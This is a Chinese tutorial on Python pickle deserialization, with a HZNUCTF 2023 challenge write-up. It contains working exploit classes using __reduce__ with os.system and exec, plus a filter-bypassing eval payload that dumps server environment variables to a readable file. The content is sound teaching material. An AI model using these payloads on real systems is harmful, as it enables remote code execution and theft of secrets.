pickle反序列化

pickle简介:

  • 与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。

  • python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。

  • 与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。

  • pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)

pickle.dumps() 序列化 将 Python 对象转换为字节流
pickle.loads() 反序列化 将字节流恢复为 Python 对象
1
2
3
4
5
6
7
8
9
10
import pickle

# 序列化
data = {"name": "Alice", "age": 30}
serialized = pickle.dumps(data)
print(serialized) # b'\x80\x04\x95\x1f\x00\x00\x00\x00\x00\x00\x00}\x94...

# 反序列化
deserialized = pickle.loads(serialized)
print(deserialized) # {'name': 'Alice', 'age': 30}

可序列化的对象

  • NoneTrueFalse
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • __dict__ 属性值或 __getstate__() 函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)

__reduce__()函数

当一个类定义了 __reduce__ 方法,pickle 在序列化时会调用它,该方法应返回一个元组,告诉 pickle 如何重建对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle

class MyClass:
def __reduce__(self):
# 返回 (可调用对象, 参数元组)
return (print, ("Hello from __reduce__!"))

obj = MyClass()
pickle.loads(pickle.dumps(obj)) # 反序列化时会调用 print("Hello from __reduce__!")

元组的含义(可以理解为第一个参数是函数,后面的参数都是该函数的参数)
(print, ("Hello from __reduce__!",)) 是一个元组,包含两个元素:

第一个元素:print(函数对象)

第二个元素:("Hello from __reduce__!")(参数元组)

漏洞原理:

Pickle 反序列化时,会执行 __reduce__ 返回的任何可调用对象。如果攻击者可以控制反序列化的数据,就能构造恶意 __reduce__ 返回任意函数(如 os.system),实现远程代码执行

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import os

class Evil:
def __reduce__(self):
# 反序列化时会执行 os.system("whoami")
return (os.system, ("whoami",))

# 攻击者构造恶意 payload
evil_payload = pickle.dumps(Evil())

# 受害者反序列化
pickle.loads(evil_payload) # 执行 whoami 命令

pickle过程详解

  • pickle解析依靠Pickle Virtual Machine (PVM)进行。
  • PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
  • 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。
  • 栈:由Python的list实现,被用来临时存储数据、参数以及对象。
  • memo:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。

opcode:(Operation Code,操作码)是指令的二进制表示,告诉计算机”要执行什么操作”

在 Python pickle 的语境中,opcode 是 pickle 协议中的单字节指令,用于指导反序列化过程如何重建对象

opcode版本

  • pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本
1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

a={'1': 1, '2': 2}

print(f'# 原变量:{a!r}')
for i in range(4):
print(f'pickle版本{i}',pickle.dumps(a,protocol=i))

# 输出:
pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.'
pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
  • pickle3版本的opcode示例:
1
2
3
4
5
6
7
8
9
# 'abcd'
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'

# \x80:协议头声明 \x03:协议版本
# \x04\x00\x00\x00:数据长度:4
# abcd:数据
# q:储存栈顶的字符串长度:一个字节(即\x00)
# \x00:栈顶位置
# .:数据截止
  • pickle0版本的部分opcode表格:
Opcode Mnemonic Data type loaded onto the stack Example
S STRING String S’foo’\n
V UNICODE Unicode Vfo\u006f\n
I INTEGER Integer I42\n

pickletools

使用pickletools可以方便的将opcode转化为便于肉眼读取的形式

1
2
3
4
import pickletools

data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)

漏洞利用:

利用思路

  • 任意代码执行或命令执行
  • 变量覆盖,通过覆盖一些凭证达到绕过身份验证的目的

初步认识:pickle EXP的简单demo

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os

class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt""" # 要执行的命令
return os.system, (s,) # reduce函数必须返回元组或字符串

e = genpoc()
poc = pickle.dumps(e)

print(poc) # 此时,如果 pickle.loads(poc),就会执行命令

变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

key1 = b'321'
key2 = b'123'
class A(object):
def __reduce__(self):
return (exec,("key1=b'1'\nkey2=b'2'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)

例题

[HZNUCTF 2023 preliminary]pickle

  • 1.进入题目,发现直接给出了python源码

整理后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
源码:

import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():

with open('app.py', 'r') as f:
return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():

payload = request.args.get("payload")
decoded = base64.b64decode(payload)
filtered = decoded.replace(b'os', b'')
pickle.loads(filtered)
return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():

filename = request.args.get('filename')
safe_filename = filename.replace("flag", "????")
with open(safe_filename, 'r') as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0')
  • 2.分析源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
执行流程:

从 URL 参数 payload 获取用户输入

对输入进行 Base64 解码

将解码后的内容中的 os 字符串删除

对处理后的数据进行 pickle 反序列化

漏洞:pickle.loads() 可以执行任意代码!攻击者可以构造恶意数据,在服务器上执行系统命令

绕过难点:代码会删除 os 字符串,导致不能直接使用 os.system 或 os.popen
  • 3.构造:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
exp:
import base64
import pickle
import urllib.parse


class A(object):
def __reduce__(self):
# 使用 eval 和字符串拼接完美绕过 b'os' 过滤
# 执行命令导出环境变量到 a.txt
return (eval, ("__import__('o'+'s').system('env > a.txt')",))#(使用内置函数eval,调用os模块中的system()函数)


if __name__ == '__main__':
a = A()
# 序列化
raw_pickle = pickle.dumps(a)

# Base64 编码并转为字符串
b64_payload = base64.b64encode(raw_pickle).decode()

# URL 编码,保护 payload 在 HTTP GET 请求中不被破坏(此时直接进行提交的话url会将base字符串中的+编码为空格,导致提交失败,所以这里需要进行一次url编码进行保护)
safe_payload = urllib.parse.quote(b64_payload)


print(f"/calc?payload={safe_payload}")

payload:
gAWVRQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwpX19pbXBvcnRfXygnbycrJ3MnKS5zeXN0ZW0oJ2VudiA%2BIGEudHh0JymUhZRSlC4%3D
  • 4.进行提交:

输出ganbadie!说明执行成功

  • 5.利用/readFile?filename=a.txt,读取a.txt(环境变量)